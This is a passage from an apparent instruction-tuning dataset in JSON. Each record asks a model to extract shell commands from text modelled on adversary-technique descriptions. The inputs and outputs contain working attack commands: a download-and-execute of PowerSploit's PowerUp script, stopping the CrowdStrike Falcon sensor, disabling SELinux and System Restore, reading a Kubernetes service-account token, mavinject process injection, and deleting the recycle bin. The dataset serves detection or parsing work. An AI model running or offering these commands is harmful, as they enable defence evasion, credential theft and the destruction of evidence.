https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may erase evidence by executing this command to delete the recycle bin contents: rd /s /q %systemdrive%\\$RECYCLE.BIN; To perform a direct access read of the first few bytes of a drive volume, use the following PowerShell command: $buffer = New-Object byte[] 11\n$handle = New-Object IO.FileStream \"\\\\\\\\.\\\\#{volume}\", 'Open', 'Read', 'ReadWrite'\n$handle.Read($buffer, 0, $buffer.Length)\n$handle.Close()\nFormat-Hex -InputObject $buffer",
    "output": "{\"command_list\": [\"rd /s /q %systemdrive%\\\\$RECYCLE.BIN\\n\", \"$buffer = New-Object byte[] 11\\n$handle = New-Object IO.FileStream \\\"\\\\\\\\.\\\\#{volume}\\\", 'Open', 'Read', 'ReadWrite'\\n$handle.Read($buffer, 0, $buffer.Length)\\n$handle.Close()\\nFormat-Hex -InputObject $buffer\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable SELinux enforcement, use the following command: setenforce 0; You can stop and disable the Crowdstrike Falcon service on Linux by executing this command: sudo systemctl stop falcon-sensor.service\nsudo systemctl disable falcon-sensor.service\n",
    "output": "{\"command_list\": [\"setenforce 0\\n\", \"sudo systemctl stop falcon-sensor.service\\nsudo systemctl disable falcon-sensor.service\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To remove a file's immutable attribute, which was a technique employed by the threat actor Rocke during Linux web server compromises, use the following commands:\ntouch #{file_to_modify}\nchflags simmutable #{file_to_modify}\nchflags nosimmutable #{file_to_modify}\n; The file ownership can be modified to root by running this command: sudo #{compiled_file} #{source_file}",
    "output": "{\"command_list\": [\"touch #{file_to_modify}\\nchflags simmutable #{file_to_modify}\\nchflags nosimmutable #{file_to_modify}\\n\", \"sudo #{compiled_file} #{source_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The service account token stored within a container can be accessed with the command: kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token; This operation queries multiple Windows Registry locations for persistence techniques, with results varying by OS version, via the command: reg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\"\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\"\nreg query \"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit\"\nreg query \"HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\"\nreg query \"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\"\nreg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ShellServiceObjectDelayLoad\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\nreg query HKLM\\\\system\\\\currentcontrolset\\\\services /s | findstr ImagePath 2>nul | findstr /Ri \".*\\\\.sys$\"\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\"\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\Scripts\\\\Startup\"",
    "output": "{\"command_list\": [\"kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token\\n\", \"reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\\\"\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\"\\nreg query \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit\\\"\\nreg query \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\\\"\\nreg query \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\\\"\\nreg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ShellServiceObjectDelayLoad\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\nreg query HKLM\\\\system\\\\currentcontrolset\\\\services /s | findstr ImagePath 2>nul | findstr /Ri \\\".*\\\\.sys$\\\"\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\"\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\Scripts\\\\Startup\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For reading TLS communications via PowerShell hooks, execute this command: mavinject $pid /INJECTRUNNING \"#{file_name}\"\nInvoke-WebRequest #{server_name} -UseBasicParsing; To enable remote PowerShell access, use the following command: Enable-PSRemoting -Force",
    "output": "{\"command_list\": [\"mavinject $pid /INJECTRUNNING \\\"#{file_name}\\\"\\nInvoke-WebRequest #{server_name} -UseBasicParsing\\n\", \"Enable-PSRemoting -Force\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The registry can be modified to disable system restore by using reg.exe with these commands in the cmd console: \nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableConfig\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableSR\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableConfig\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableSR\" /t \"REG_DWORD\" /d \"1\" /f\n; To prevent shadow volumes from being recreated, adversaries often resize the shadowstorage volume, which can be done with the following command: vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\SystemRestore\\\" /v \\\"DisableConfig\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\SystemRestore\\\" /v \\\"DisableSR\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\" /v \\\"DisableConfig\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\" /v \\\"DisableSR\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\n\", \"vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 